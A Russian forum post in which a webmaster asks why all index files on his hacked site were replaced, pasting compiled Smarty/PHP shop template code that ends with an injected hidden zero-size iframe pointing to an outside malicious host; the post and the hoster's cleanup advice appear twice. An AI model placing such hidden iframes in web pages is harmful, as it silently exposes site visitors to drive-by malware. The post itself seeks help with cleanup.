UNREALre
Новичок
Хакнули сайт или ещё что-то плохое...
Доброго времени суток всем!
Вот первый раз за все время столкнулся с такой проблемой... Висел себе сайт спокойно в инете, никаких ифреймов на чужие ресурсы не было, ничего плохого, кажется, тоже. Был блог, был сайт с минимальным php-кодом и почти без какой-либо связи с пользователями(кроме формы contact us)... Захожу на сайт, а все index-файлы во всех директориях/субдоменах, а так же в корне - полностью изменены. Вот, скажем, пример кода (его части_ index.php файла в корне (код от и до не мой - т.е. ни строчки того, что было не осталось) :
В конце идет ифрейм на гадость какую-то, на которую ругается каспер... А что за код до этого ифрейма? Что в нем такого и почему именно он появился в index-файле?
p.s. все остальные файлы на сервере не тронуты.
Может, кто что знает по этому поводу или посоветует?
-~{}~ 26.02.08 09:01:
Забыл дописать ответ хостера )))
Просканируйте свой компьютер антивирусной программой к примеру касперским и удалите его
На ФТП и сПанель замените пароль
В public_html/index найдите код начинающийся с Либо
:-D
Доброго времени суток всем!
Вот первый раз за все время столкнулся с такой проблемой... Висел себе сайт спокойно в инете, никаких ифреймов на чужие ресурсы не было, ничего плохого, кажется, тоже. Был блог, был сайт с минимальным php-кодом и почти без какой-либо связи с пользователями(кроме формы contact us)... Захожу на сайт, а все index-файлы во всех директориях/субдоменах, а так же в корне - полностью изменены. Вот, скажем, пример кода (его части_ index.php файла в корне (код от и до не мой - т.е. ни строчки того, что было не осталось) :
PHP:
equire_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
smarty_core_load_plugins(array('plugins' => array(array('insert', 'getBanner', 'index.tpl.html', 11, false),array('function', 'mailto', 'index.tpl.html', 384, false),)), $this); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<?php $_smarty_tpl_vars = $this->_tpl_vars;
$this->_smarty_include(array('smarty_include_tpl_file' => "head.tpl.html", 'smarty_include_vars' => array()));
$this->_tpl_vars = $_smarty_tpl_vars;
unset($_smarty_tpl_vars);
?>
<body>
<table width="1000" cellpadding="0" cellspacing="0" border="0" style="background-repeat:repeat-y;">
<tr>
<td width="189" align="center"><a href="index.php"><img src="images/logo.jpg" alt="<?php echo @LINK_TO_HOMEPAGE; ?>
" border="0"></a></td>
<td align="center"> <?php require_once(SMARTY_CORE_DIR . 'core.run_insert_handler.php');
echo smarty_core_run_insert_handler(array('args' => array('name' => 'getBanner', 'campaign' => 'top_468x60')), $this); ?>
</td>
<td width="9"><img src="images/top_vert_dotline.png" alt="" border="0"></td>
<td width="145">
<?php if (@CONF_SHOW_ADD2CART == 1): ?>
<table border="0">
<tr>
<td align="center"><a href="<?php if (@CONF_OPEN_SHOPPING_CART_IN_NEW_WINDOW == 1): ?>javascript:open_window('cart.php',400,300);<?php else: ?>index.php?shopping_cart=yes<?php endif; ?>"><img src="images/korzina.jpg" alt="<?php echo @CART_TITLE; ?>
" border="0"></a></td>
</tr>
<tr>
<td align="center">
<?php $_smarty_tpl_vars = $this->_tpl_vars;
$this->_smarty_include(array('smarty_include_tpl_file' => "shopping_cart_info.tpl.html", 'smarty_include_vars' => array()));
$this->_tpl_vars = $_smarty_tpl_vars;
unset($_smarty_tpl_vars);
?>
</td>
</tr>
</table>
<?php endif; ?>
</td>
</tr>
</table>
<table width="1000" cellpadding="0" cellspacing="0" border="0">
<tr>
<td background="images/yelow_goriz_line.png" height="6"><img src="images/yelow_goriz_line.png" alt="" width="10" height="6" border="0"></td>
</tr>
</table>
<!-- script type="text/javascript" src="http://x-fi.com.ua/modules/sitestats/tools/count.js">
/script
-->
<table width="1000" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="190" height="150" background="images/left_top_search_blok.png" style="background-repeat:repeat-y;" valign="top">
<?php $_smarty_tpl_vars = $this->_tpl_vars;
$this->_smarty_include(array('smarty_include_tpl_file' => "search_form.tpl.html", 'smarty_include_vars' => array()));
$this->_tpl_vars = $_smarty_tpl_vars;
unset($_smarty_tpl_vars);
?>
<br>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td width="17" height="25"> </td>
<td>
<img src="images/tel_ofice.png" alt="" border="0">
</td>
</tr>
</table>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr><td height="23"></td></tr>
<tr>
<td width="17" height="25"> </td>
<td>
<strong><?php echo @CHANGE_CURRENCY_LINK; ?>
:</strong>
<?php $_smarty_tpl_vars = $this->_tpl_vars;
$this->_smarty_include(array('smarty_include_tpl_file' => "change_currency.tpl.html", 'smarty_include_vars' => array()));
$this->_tpl_vars = $_smarty_tpl_vars;
unset($_smarty_tpl_vars);
?>
</td>
</tr>
</table>
</td>
<td align="left" bgcolor="#2B2B2B" width="580"><?php require_once(SMARTY_CORE_DIR . 'core.run_insert_handler.php');
echo smarty_core_run_insert_handler(array('args' => array('name' => 'getBanner', 'campaign' => 'top_big_banner')), $this); ?>
</td>
<td width="156" bgcolor="#2B2B2B" height="210" align="left" valign="top" nowrap>
<table cellpadding="0" cellspacing="2" border="0" width="100%">
<tr>
<td width="100%" align="right" colspan="2" height="5"></td>
</tr>
<?php unset($this->_sections['i']);
$this->_sections['i']['name'] = 'i';
$this->_sections['i']['loop'] = is_array($_loop=$this->_tpl_vars['shopper_pages']) ? count($_loop) : max(0, (int)$_loop); unset($_loop);
$this->_sections['i']['show'] = true;
$this->_sections['i']['max'] = $this->_sections['i']['loop'];
$this->_sections['i']['step'] = 1;
$this->_sections['i']['start'] = $this->_sections['i']['step'] > 0 ? 0 : $this->_sections['i']['loop']-1;
if ($this->_sections['i']['show']) {
$this->_sections['i']['total'] = $this->_sections['i']['loop'];
if ($this->_sections['i']['total'] == 0)
$this->_sections['i']['show'] = false;
} else
$this->_sections['i']['total'] = 0;
if ($this->_sections['i']['show']):
for ($this->_sections['i']['index'] = $this->_sections['i']['start'], $this->_sections['i']['iteration'] = 1;
$this->_sections['i']['iteration'] <= $this->_sections['i']['total'];
$this->_sections['i']['index'] += $this->_sections['i']['step'], $this->_sections['i']['iteration']++):
$this->_sections['i']['rownum'] = $this->_sections['i']['iteration'];
$this->_sections['i']['index_prev'] = $this->_sections['i']['index'] - $this->_sections['i']['step'];
$this->_sections['i']['index_next'] = $this->_sections['i']['index'] + $this->_sections['i']['step'];
$this->_sections['i']['first'] = ($this->_sections['i']['iteration'] == 1);
$this->_sections['i']['last'] = ($this->_sections['i']['iteration'] == $this->_sections['i']['total']);
?>
<?php if ($this->_tpl_vars['shopper_pages'][$this->_sections['i']['index']]['shopper_page_apply_to'] != 0): ?>
|<!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
p.s. все остальные файлы на сервере не тронуты.
Может, кто что знает по этому поводу или посоветует?
-~{}~ 26.02.08 09:01:
Забыл дописать ответ хостера )))
Просканируйте свой компьютер антивирусной программой к примеру касперским и удалите его
На ФТП и сПанель замените пароль
В public_html/index найдите код начинающийся с Либо
:-D